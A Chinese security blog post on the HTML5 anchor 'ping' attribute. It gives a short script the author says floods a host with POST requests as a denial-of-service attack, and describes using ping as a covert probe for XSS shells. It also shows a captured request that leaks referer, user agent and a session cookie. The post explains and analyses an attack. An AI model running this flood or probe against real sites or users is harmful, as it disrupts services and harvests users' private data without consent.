HTML5:ping屬性之死亡ping與隱私追蹤
在HTML5中a標(biāo)簽加入了一個(gè)新的屬性ping。設(shè)計(jì)者加入它的理由是,Ping可以使瀏覽器對(duì)外發(fā)送一個(gè)異步請(qǐng)求,通常用來(lái)廣告的追蹤、點(diǎn)擊率統(tǒng)計(jì)或完成一次HTTP重定向。
但是聽到監(jiān)視、追蹤這個(gè)詞,你是不是也覺得有點(diǎn)不舒服,所以Ping這個(gè)屬性真的是很不受歡迎。瀏覽器一度抵制、進(jìn)而加入默認(rèn)關(guān)閉必須從如config這樣的選項(xiàng)中打開才可以使用,到現(xiàn)在我從caniuse.com上還沒有追尋到哪個(gè)瀏覽器支持它,但在我測(cè)試中最新版Chrome44是默認(rèn)支持Ping的。
一、Ping的用法
Ping的用法很簡(jiǎn)單,這里舉一個(gè)例子。
<a href="http://www.xisigr.com" ping="http://www.xisigr.com/track">click me</a>
當(dāng)你點(diǎn)擊click me的時(shí)候,會(huì)異步發(fā)送一個(gè)POST請(qǐng)求到Ping后面指定的地址,Request Body的內(nèi)容為PING。有人可能會(huì)說(shuō),那click me這段代碼行不行?答案是否定的,href這個(gè)屬性必須存在與中,不然Ping也是不會(huì)運(yùn)行的。
二、死亡之PING
根據(jù)Ping發(fā)送POST請(qǐng)求這個(gè)特性,我們可以使用循環(huán)使之不停的向一個(gè)地址追加POST請(qǐng)求,造成DOS攻擊。
<script> var link = document.createElement('a'); link.href=""; link.ping = 'http://www.xisigr.com/'; document.head.appendChild(link); link.click(); </script>
運(yùn)行上面的代碼,就會(huì)不停的向xisigr.com發(fā)送POST請(qǐng)求。
請(qǐng)運(yùn)行在線DEMO:DOS.html {chrome}
三、隱私追蹤
Ping可以進(jìn)行廣告追蹤,它可以統(tǒng)計(jì)用戶都點(diǎn)擊了哪些鏈接以及次數(shù),并使用POST請(qǐng)求把這些信息發(fā)送到廣告商的服務(wù)器上。那么POST的這些信息都包含了什么呢,簡(jiǎn)單來(lái)說(shuō)HTTP Header的內(nèi)容都會(huì)有,我們來(lái)看一個(gè)截獲的完整信息
HOST: xisigr.com
CONTENT-LENGTH: 4
ORIGIN: http://mail.163.com
PING-FROM: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977
USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
PING-TO: http://www.baidu.com/
CONTENT-TYPE: text/ping
ACCEPT: */*
REFERER: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977
ACCEPT-ENCODING: gzip, deflate
ACCEPT-LANGUAGE: zh-CN,zh;q=0.8
COOKIE: sessionid=rnbymrrkbkipn7byvdc2hsem5o0vrr13
CACHE-CONTROL: max-age=0
CONNECTION: keep-alive
PING-FROM、USER-AGENT、REFERER這三個(gè)關(guān)鍵信息,直接泄漏了用戶的隱私。而這也為我們最愛的XSSSHELL又提供了一個(gè)小插件。對(duì)于圖片探針如果沒了新鮮感,那么請(qǐng)?jiān)囋嘝ing探針吧,簡(jiǎn)單的一句就搞定!
追蹤這事是攻擊者的最愛,我簡(jiǎn)單做了一個(gè)DEMO,打開aping.html這個(gè)頁(yè)面,點(diǎn)擊后,你會(huì)前往wathwg,并且我異步重定向了下w3.org,但同時(shí)你的HTTP Header/IP就被我獲取到了。你可以通過(guò)這個(gè)鏈接查看截獲到的信息,Ping.html。
請(qǐng)?jiān)L問(wèn)在線DEMO:aping.html Ping.html {chrome}
四、總結(jié)
把PING歸結(jié)為探測(cè)用戶隱私的范疇一點(diǎn)也不為過(guò)。這其實(shí)不怪設(shè)計(jì)者,Ping的最初設(shè)計(jì)理念,是為了使得廣告統(tǒng)計(jì)更加方便簡(jiǎn)潔,哪怕是它的重定向功能,也是為了在異步請(qǐng)求的情況下使用戶整體提高訪問(wèn)頁(yè)面速度的快感。但是這仿佛也無(wú)法遮掩住PING的潛在探測(cè)用戶隱私的特性。也許這就是PING的先天性缺陷。
PS:
HTML5中,a標(biāo)簽多了幾個(gè)屬性,如download/ping。2012年時(shí),我在百度HI寫了一篇《HTML5 A[download] 攻擊模型》,就對(duì)當(dāng)時(shí)download的攻擊思路做了簡(jiǎn)單的分析,可惜百度HI關(guān)閉了,download那篇也石沉大海,但三年下來(lái),再看那篇文章,當(dāng)時(shí)提出的一些攻擊點(diǎn),瀏覽器也已經(jīng)做了相應(yīng)的防御,從中看到了攻防對(duì)抗的變化和瀏覽器廠商的激進(jìn)與妥協(xié)。
這種感悟是挺好的,你可以對(duì)應(yīng)著如筆記般的進(jìn)行標(biāo)注,這些變化是什么、為什么這么變等等,我覺得應(yīng)該時(shí)不時(shí)的把前些年的文章拿出來(lái),和現(xiàn)在的形式對(duì)比下,有些東西不得不從這種長(zhǎng)時(shí)間軸的總結(jié)和更新中才能得出結(jié)論來(lái),比如10年間消失的10種WEB攻擊、瀏覽器廠商的激進(jìn)與妥協(xié)、10年后WEB是什么樣的……